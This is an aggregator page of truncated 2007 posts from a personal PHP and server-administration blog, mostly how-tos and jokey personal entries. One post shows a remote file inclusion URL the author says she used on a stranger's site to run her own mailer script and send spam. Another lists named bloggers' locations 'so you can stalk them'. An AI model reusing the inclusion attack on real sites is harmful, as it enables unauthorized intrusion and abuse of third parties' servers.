Owner: pink is the new black URL:http://v-nessa.net Join Date: Tue, 27 Feb 2007 20:31:39 -0600 Rating:0 Site Description: A sexy look at programming ruby, php, and mySQL as well as various topics ranging from personal and cultural events. Also some free wallpaper, themes, and scripts. Site statistics:Click here
PHP Browser-Based Website Crawler 2007-05-08 04:36:58 I figured out a way to create a php website crawler that can be run via web browser instead of command line. You can use this to harvest links from a website for use in a database or search engine…or to see how easily a spider or bot can creep your site. Try it here!
<html>
<head><title>PHP Website Crawler</title></head>
<body>
<font face="verdana" color=#66ccff">
<form method="post" action="">
<label>URL:
<input name=”url” type=”text”$url; ?>http://website.com” size=”70″ maxlength=”255″ />
</label>
<br />
<br />
<label>
<input type=”submit” name=”Submit” value=”Crawl!” />
</label>
<br />
</form>
</body>
</html>
<?php
if (isset($_POST[’url’])) {
$url = $_POST[’url’];
$f = @fopen($url,”r”);
while( $buf = fgets($f,1024) )
{
$buf =
Fake a 404 to Block an Entire ISP 2007-05-07 05:42:53 I’ve been getting a sudden influx of traffic so I decided to take a look at my referrer stats, and even though there wasn’t anything blatently obvious out there, I did notice some strange injection-like URL strings coming from a certain ISP. I figured the best way to block them without having to figure out and set an IP range to block is to just fake the existence of my whole website. Here’s how you can force users from an entire [unwanted] ISP to a 404 page…you’d want to put this in a page that is consistently loaded with your site. If you’re a Wordpress user, the best spot would be your header.php.
$host = gethostbyaddr($REMOTE_ADDR);
if (stristr($host, "anyisp.com")) {
Header("HTTP/1.1 404 Not Found");
print "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL / was not found on this server.<P
Make Apache Faster 2007-05-10 06:46:28 Apparently someone thinks that my website is too slow in its load time. I never really thought it was that bad, but his little handy danty Firefox plugin claims that it takes my site approximately 6-7 seconds to load initially, which kinda sucks. I know that I’ve written some stuff on optimizing php performance and I tell customers on a daily basis how to keep their sites from bogging down our servers, but I never really cared to optimize my own site because I have a v-dedicated server. So anyways, I’ve made a few modifications to both my site and the server environment to help speed things up a bit.
You might want to read my article on Optimizing PHP as well.
Enable Compression with Apache
If you are running on Apache 2, mod_deflate should already be installed on your system — all you have to do is enable it. I recently downgraded my server back to Apache 1.3.37 (mainly because of cPanel) so I’m using the mod_gzip alternative. Basically, mod_gzip compress
Wordpress 2.2 “Released” 2007-05-16 06:49:18 And I use the word &ldquo
;released&rdquo
; very loosely. Yes, I just upgraded my blog to use Wordpress
2.2 after this guy made it sound delicious. No, I don’t regret it, but I do think it would be best to wait for a bugfix. I shall start with the positives:
- It’s optimized a bit more to help your site load faster. This may or may not be noticeable to you, but it probably is to your webhost
- It’s harder to break your site by enabling a botched plugin. I tried to enable Staticized-Reloaded and I got what I interpret as the “Wordpress Screen of Death”:
This is also a shame because this happens to be one bad-ass plugin.
Now for the bad, which outweighs the good:
- Don’t be surprised if your plugin database disappears. From some odd reason, Wordpress could only find it after I created a new plugins folder and copied over my plugin files again….and yes, I had to re-enable all 30 of them.
- WP-Cache no longer works (at the time of this writ
VirtualHost Hacking with Wildcard DNS 2007-05-20 05:41:55 A recent topic in the webhosting business is wildcard DNS. Setting up a wildcard record will allow you to essentially have infinite subdomains all pointing to the same place…. you can try this on my site if you’d like by typing in any random subdomain (like lkjairl.v-nessa.net) and then see if point back to my primary, unless it’s one that I’ve actually created. Now if you combine this ‘technology’ with the power of .htaccess rewrites, then congratulations. You’ve just cheated your host and obtained unlimited subdomains.
The first thing you would need to do is have a wildcard DNS record set up. If you have access to your own zone files, that’s great, otherwise you’ll need to ask your host to set it up for you. Fair warning though, your hosting company is not stupid (unless it’s Dreamhost) so don’t be surprised if they decline your request. To set up the DNS zone you simple need to add an a-record “*&r Read more:Hacking
, Wildcard
Domain Names that Make you Giggle 2007-05-20 02:44:51 It’s been almost a year since I stumbled upon this article that outlines the top 10 URL flops on the internet. If you haven’t been there, check it out dammit. Read more:Names
, Domain Names
Creating your Own “Access Groups” In Linux 2007-05-22 23:46:54 We started cracking down a bit on system binaries being executeable by end users on our shared hosting servers, which consisted of chmod-ing things like ‘wget’ to 700 so only root users have access. If you’re on shared host, it’s likely that you’ve encountered this kind of restriction before, and if you’re a server admin you probably know why this is necessary.
A typical scenario I’ve seen in many cases is some user’s crappity software gets exploited and executes the ‘wget’ command to download hacks and warez onto the server. I’ve also seen typical Linux
functions be abused by hack processes because the access was not being controlled — it’s only safe to say that certain system binaries should be restricted to only trusted users….programs that I find particularly pervious to hacks are those like wget, lynx, scp, sh, and exec.
The issue with this (and the point of this article) is that if you sudde Read more:Creating
, ldquo
, Access
, Groups
, rdquo
My Pineapple! 2007-05-20 23:15:24 My Good Luck Pineapple broke today and I’m very upset….it’s the very first pineapple I bought when I moved out of my parents’ house three years ago, and it’s been in my freezer ever since. Man, the last time I was this upset was when I bought Capone a fish named Charlie…and then he ate it.
Listing IP Addresses of a Server 2007-06-10 01:09:30 I hate using the jarbled output of ifconfig to find out what ip addresses are active on a server, so using this complex command will list all the IP addresses of the server in a nice little list:
ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'
I specifically use this command for a VPS setup script that I was working on to automatically input the correct server IP into the httpd.conf and named entries on cloned systems, so I don’t have to do it manually. To do this you would just assign the command as a variable, then call that variable with the replace command:
IP=`ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`
cat httpd.conf |replace 123.456.789.123 $IP --httpd.conf
I realize that with the formatting of my theme the ifconfig command is coming up on two lines…make sure that when you write the script it’s only on one or you’ll get parse errors.
I love Sarah Silverman 2007-06-10 00:55:50 Ok, I know, I’m a bit late on this but I just got around to watching the MTV Movie Awards that I taped on DVR last week, and I swear when I saw this I couldn’t even contain myself. I mean, Sarah
Silverman must have balls the size of church bells to be able to own Paris Hilton like this in front of millions of people. You’d have to watch it to get the full effect:
Network Admin Sabotage Part I - My Story 2007-06-21 14:15:55 I have a nice little story regarding an incident at my dad’s work where I had a run-in with a particularly nasty and overly conceited Network Admin
istrator. Keep in mind that I do not work for my dad’s office, I just do occasional contract work.
Outside the Windows 2003 corporate intranet, the Sales department uses an AS/400 mainframe to track inventory. They just recently decided to add a Debian box to the system… downside to this is that since the AS/400 is written in its own IBM-proprietary language and they’ve otherwise been using Windows this whole time, so no one really knows much about Linux.
I was asked to come in to get the box set up on the network and was almost immediately shrugged off by the new Intranet Network Security Officer, who insisted that my presence was pointless and “insulting to his position.” Maybe I was invading on his turf, I dunno, but since I was the head of the IT department before he started balding I didn&rsquo
Simple MySQL Search Query 2007-07-04 02:35:38 If you use MySQL
to keep a ton of records, it might be nice to be able to search for the particular entry you’re looking for via a simple form on your site. To set this up, we’ll make two scripts — one being the form itself, the other being script that executes the MySQL query.
In this example I created a simple form to query a database to look a person’s last name from a database column in an ‘addressbook’ database. First, we need to create the form. This is just a simple html file with a single input field:
<html>
<body>
<h4>Enter Last Name:</h4>
<form action=http://v-nessa.net/feed/”query.php” method=”post”>
Server: <input name=”lastName” type=”text” />
<input type=”submit” value=”Submit” />
</form>
</body>
</html>
Here i named the form field ‘lastName’, which will be the variable passed on to the p Read more:Simple
, Search
, Query
I’m Lazy 2007-06-30 12:45:07 It seems to be a while since I’ve been actually posting anything, since I’m working 50% of the time and partying the other 50% — that’s almost 100% !!! I also started this new thing where I’m going to try reading more because apparently reading is supposed to make you smart. This was before I found out that picture books with 10 giant words on each page don’t count. I also found out that Barnes & Noble is not the optimal place to pick up hot guys either.
Drake is a Stalker 2007-07-14 22:15:04 So I talked to my stalker today, but it turns out that he only wanted to ask for directions to my house. I was a little disappointed, but I like to keep tabs on him anways. So far, here’s what I know:
- He has a bunny named Roxy (irony at it’s finest, as I used to have a Dutch bunny named Roxy, named after my surfboard)
- His favorite thing from Taco Bell is the grilled stuffed chicken burrito
- The bulge in his pocket is actually from the plastic bag that he wants to suffocate me with
So umm yea, that’s about all I know.
I therefore encourage all the young ladies out there to get to know your stalkers, so they can find you better. No one likes a party pooper. Read more:Drake
, Stalker
cPanel Backup Cron Support for x3 ? 2007-07-22 20:29:33 Since cPanel
11 came out I’ve been getting a ton of emails from people who are currently using my cPanel Automated Backup script asking if it’s compatible with the x3 theme. If your host is using cPanel 10 or 11 running on monsoon, x, x2, or x3, the script will work. You just have to make sure you have the theme set right in the config:
$skin = “x3″; Read more:Support
Installing Sphinx for MySQL 5.1 2007-07-21 14:48:45 This is probably one of the two things that drove me crazy over the last two weeks. The first was trying to get cPanel to stop being such a MySQL
nazi with its version control, the second was getting Sphinx installed into MySQL 5.1 for one of my clients. I’ve installed it with 5.0 on Ubuntu before, but 5.1 with cPanel was something that I’ve never been able to successfully do. After talking to the developer who was able to fill in the blanks, I’ve decided to write my own documentation on how to install Sphinx as a dynamic MySQL plugin for an existing MySQL 5.1 installation.
Before we start...
You need MySQL 5.1 installed to use the plugin feature. If you’re run on cPanel or other version-dependent software it’s a really really bad idea to install MySQL from source, so you’ll probably want to read this as a guide to upgrading via RPM. Also, this walkthrough is specific to MySQL 5.1.20 (beta), since that’s the latest release out at the time
Upgrading to MySQL 5.1.20 on cPanel 2007-07-20 19:12:47 If you have server that run on cPanel
, you’ll probably know how big of a Nazi it is in regards to the MySQL
versions it can run. We just got this new line of servers at work and one of them I was pretty heartset on installing MySQL 5.1, mainly because of its loadable plugin features where you can install a plugin or module without having to recompile the whole damn thing. Upgrading to 5.1 is easy, you just have to follow the right steps.
First, I would recommend upgrading to cPanel 11 or EDGE, which should have support for compiling Apache with non-supported versions of MySQL. On this server, I’m currently running 11 on the bleeding edge build. Also, it’s a splendid idea to dump all your databases before upgrading.
1. Copy the MySQL libraries from the server into a temporary location:
mkdir /root/sqlibs
cp /usr/lib/libmysqlclient.* /root/sqllibs
2. Find any installed MySQL packages:
rpm -qa | grep -i mysql-
This should present a list of installed rpm’s&he
Internet-gasm From My Site! 2007-07-27 12:20:53 I thought I should mention publicly that 5 people have emailed me so far about my posts ending up on other sites. The most recently seems to be webmasteraffiliatemarketing.net, who has been stealing my posts since April. I really didn’t care at the time, but when my visitors have to ask me if I write my own stuff I think it’s about time to step in. So here you have it, some of my posts that magically ended up on someone else’s site:
http://webmasteraffiliatemarketing.net/2007/07/26/sexy-sites-of-the-week/
http://webmasteraffiliatemarketing.net/home/theme/marketing/feed/cpanel-backup-cron-support-for-x3/automated.html
http://webmasteraffiliatemarketing.net/home/patch/affiliate/news/installing-sphinx-for-mysql-51/mysql.html
http://webmasteraffiliatemarketing.net/home/charlie/affiliate/headlines/my-pineapple/boughtwhen.html
Since they didn’t even think to change the links in the posts, I’m partly thinking that this is may be one of those sites that just Read more:Internet
Sexy Sites of the Week 2007-07-26 13:57:05 So it’s Friday and I decided to start a new tradition of letting everyone know how much spare time I have on my hands nowadays. Here are the sexy sites of the week:
.::0×000000.com::.
If I was ever going to pose nude on a website, this would be the one. Well, aside from all the other ones. So yea, if you want to see some true hacking action, mozy on over to this guy’s site and take some lessons from the master. At least that’s what I called him last night.
Just kidding…(please don’t sue me)
.::ejabs.com::.
I think the whole two brain cells I have left get smarter every time I go to Matt’s site. I don’t quite know how to categorize his site…it’s like the jellybean jar of blogs. He’s actually hosted on one of our servers too, which means that there’s a 78.4% chance that his blog is having sex with mine behind our backs.
.::ilovejackdaniels.com::.
Like most Italians, I hate Jack Daniels. But if they made a Read more:Sites
Do I Look Like These People? 2007-07-24 19:25:48 I saw on this one site where you can upload a picture of yourself and it’ll match you with celebrities and stuff. Out of curiosity I uploaded one of my pictures to find out who I look like. If you want your own, just go to myheritage.com
Sexy Sites of the Week - 8/3 2007-08-03 04:04:16 .::technosailor.com::.
I probably shouldn’t list a site that everyone already knows about, but if this blog was a toilet seat, it would be getting a lot of @$$. Not to mention the author doesn’t look to bad either.
.::panopticist.com::.
It’s been a while since we’ve heard anything from the panopticist, but he’s still the most well-known for his magazine covers and his overwhelming sense of “cultural surveillance” that kind of makes me wonder if he spends his Friday nights in the company of channel 961 with a roll of paper towels and some Crisco.
.::depiction.net::.
This site is more of a tutorial-based approach for new and experienced webmasters, so I thought it would be good to list here. What? Were you expecting some kind of witty but slightly sexual comment? From me? Nooooooo
.::simplehelp.net::.
Honestly, most of this site is completely not interesting by any means, but they do have a kick- ass list of web 2.0 resources that most webma Read more:Sites
Dun Dun Dunnnnnnnnn 2007-08-03 03:23:28 Just a nice life lesson for my fellow lazy programmers:
I was looking at this site the other day in class while I was researching some crap on sub-netting (which is not one of my high points btw) and I noticed an all-too-obvious URL structure that just screamed “hack me! please!” It’s a pagerank 5 site so I know that it’s getting quite a bit of traffic, so I’m surprised this hasn’t happened enough to the point where the site developer would fix his shit. Probably an example of the worst URL compilation I’ve seen in a while:
http://hiswebsite.com/index.php?page=subnett-2.php
I wrote simple php mailing script called ’spam-me.php’ and uploaded it to my school space, then ran it off the guy’s site. I think I sent one of my professors an email about how unsatisfied his wife is, simply by tacking on my URL as the page definition:
http://hiswebsite.com/index.php?page=http://students.ecpi.edu/~<omitted>/spam-me.php
It was ev
b2Evolution SMTP Patch 2007-08-08 06:06:05 I was debating whether or not to publish this since I wrote it mainly to target our customers, but I figured it might help someone who needs it.
Many hosting companies block PHP mail coming from the user ‘nobody’, which is a default if your host runs PHP as an Apache module. At the time of my writing, b2evolution does not support STMP, so I created a simple patch that will allow you to use phpMailer to send mail through SMTP instead of the send_mail() function that b2 uses.
Download b2evo_phpMailer-1.03.tar.gz (76k)
Requirements:
b2evolution 1.9.x or higher (tested with 1.9.3, but may work with other versions)
php 4.3.1 or higher (required by b2)
Valid SMTP server
Usage:
The instructions are specifically outlined in the readme.txt file within the archive, but it’s basically as simple as:
Edit the ’settings.php’ file in htsrv/phpmailer
Upload the patched files to their corresponding locations on your webserver
And yea…that’s it.
Notes:
- Read more:Evolution
, Patch
Top 8 Hottest Manbloggers 2007-08-07 13:33:43 I got this idea from a comment I wrote about Aaron Brazell in my last post that he responded to, and I figured I it wouldn’t hurt to turn my own blog into a meat market. I know they’re tempting to look at, but who said that hot guys can’t write blogs?
Top 8 sexilicious bloggers (in no particular order), as well as their locations so you can stalk them:
Justin Durban from justindurban.com - Burbank, CA
Shelby DeNike from fauxzen.com - Los Angelos, CA
Ronald from 0×000000.com - Somewhere in the Netherlands, but usually in my bedroom
Aaron Brazell from technosailor.com - Baltimore, MD
Chris Shiflett from shiflett.org - Brooklyn, NY
Christian Mohn from h0bbel.p0ggel.org - Bergen, Norway
Michale Sica from michaelsica.com - Orlando, FL
Luke Welling from lukewelling.com - Melbourne, Australia
If you’re a sexy blogger and you’re wondering why you’re not on this list, it’s probably because 1) I’ve never seen your site, 2) you don’t
The Panopticist is at it…Again 2007-08-27 03:35:15
Just when I though he disappeared for good, our culturally observant (yet sexy) friend Andrew Hearst released some new Magazine covers that are almost as good as the infamous subliminal cocktail featured on Snopes a few years ago.
The last time I posted something on Andrew Hearst I had people asking me if I even knew what a Panopticist was. Ok, the answer is still no, seeing that I don’t even know how to pronounce the word (pan-nop-tih-cist??) but this page is supposed to explain it a little bit. Too bad I have the attention span of a flea, so yea. You can see his other fabtaculous magazine covers here and&hellip
;um… what was I talking about again? Read more:Again
Size Matters with PHP 2007-08-27 02:59:59 I figured this might be helpful to post since it seems to be a fairly common issue poking up about PHP’s limits in regard to file size. It’s no secret to fellow programmers that PHP is incapable of readily handling files over 2gb on the typical 32-bit system, but others are easily aggravated with a greeting of errors that look like this:
PHP Warning: ……. failed to open stream: File too large in ……..
Generally I’d say that if you’re trying to get PHP to man-handle huge files you’d need to have one badass server that can take that kind of abuse. Before you go about trying to compile PHP with large file support, you may want to consider passing the ’split’ command through the system or passthru functions to break your massive files into smaller bits so PHP can handle them. If you’re the type that has to go about everything the hard way, then I guess that’s why you visited my site.
To compile PHP with la
Top 8 Hottest Manbloggers 2007-08-07 13:33:43 I got this idea from a comment I wrote about Aaron Brazell in my last post that he responded to, and I figured I it wouldn’t hurt to turn my own blog into a meat market. I know they’re tempting to look at, but who said that hot guys can’t write blogs?
Top 8 sexilicious bloggers (in no particular order), as well as their locations so you can stalk them:
Justin Durban from justindurban.com - Burbank, CA
Shelby DeNike from fauxzen.com - Los Angelos, CA
Ronald from 0×000000.com - Somewhere in the Netherlands, but usually in my bedroom
Aaron Brazell from technosailor.com - Baltimore, MD
Chris Shiflett from shiflett.org - Brooklyn, NY
Christian Mohn from h0bbel.p0ggel.org - Bergen, Norway
Michale Sica from michaelsica.com - Orlando, FL
Luke Welling from lukewelling.com - Washington, D.C.
If you’re a sexy blogger and you’re wondering why you’re not on this list, it’s probably because 1) I’ve never seen your site, 2) you don’t have
Ugh….CIDR 2007-08-28 02:23:49 I kinda wish I paid attention in class when the professor was talking about CIDR notations and shit&hellip
;because it would have come in handy tonight. But being that I’m lazy I did some looking around and found that there’s a perl module out there that will convert an IP range to CIDR for you with a simple 4-line script. You’ll need to install the Net::CIDR module for this to work
If you’re on cPanel just type:
# /scripts/perlinstaller Net::CIDR
Here’s the script:
#!/usr/bin/perl
use Net::CIDR;
$range = shift;
print (join(”
”, Net::CIDR::range2cidr(”$range”)) . “
” );
Usage:
root@vps [~]# perl convert.pl 192.168.0.1-192.168.1.1
192.168.0.1/32
192.168.0.2/31
192.168.0.4/30
192.168.0.8/29
192.168.0.16/28
192.168.0.32/27
192.168.0.64/26
192.168.0.128/25
192.168.1.0/31
PCLinux OS is Kind of Sexy 2007-10-18 11:31:47 I recently became pretty fond of Ubuntu when I installed it on my work computer after dealing with daily crashes of Windows XP Pro. I find it to be a lot easier to manage, though it sucks that some software is still not compatible with Unix and installing a wireless network card is about as hard as finding a 34D push-up bra at Victoria’s Secret. I mean, it’s a lingerie store…you’d think they’d have a bigger push-up bra. Maybe I want my boobs to peek out of my shirt every once in a while…or maybe I’ll decide to turn tricks someday and need a good “come get me” outfit. I also just realized that this is the third time today I went off on a tangent about boobs.
So anyways, out comes PCLinuxOS which is a new OS determined to be the bridge between Linux and Windows, targeted towards beginner Unix-ers who aren’t quite ready to kick Microsoft to the curb. It’s not quite the Gnome desktop, but rather a Windows Vista-inspi
Using PHP to Display Version Info - Part II 2007-10-17 10:18:20 Earlier I showed some examples of commands you can use to pull software versions into a simple PHP script. In the next example I’ll show how to do the distro and kernel versions. I’m sure that there’s a much simpler way to do this (i.e. a simple cat command on the /proc/version file), but I figured I’d use a more advanced example in the form of a function. I did the distro as a variable to show how easy this is:
<?php
function kernelinfo () {
$buf = exec( 'cat /proc/version');
if ( $buf == "ERROR" ) {
$result = "N.A.";
} else {
if (preg_match('/version (.*?) /', $buf, $ar_buf)) {
$result = $ar_buf[1];
if (preg_match(’/SMP/’, $buf)) {
$result .= ‘ (SMP)’;
}
}
}
return $result;
}
$distro = exec(’cat /etc/redhat-release’);
$kernel = kernelinfo();
echo $distro;
echo “<html><br></html>”;
echo $kernel;
?>
This will show a result of the following, obviously various depending on you Read more:Display
, Using PHP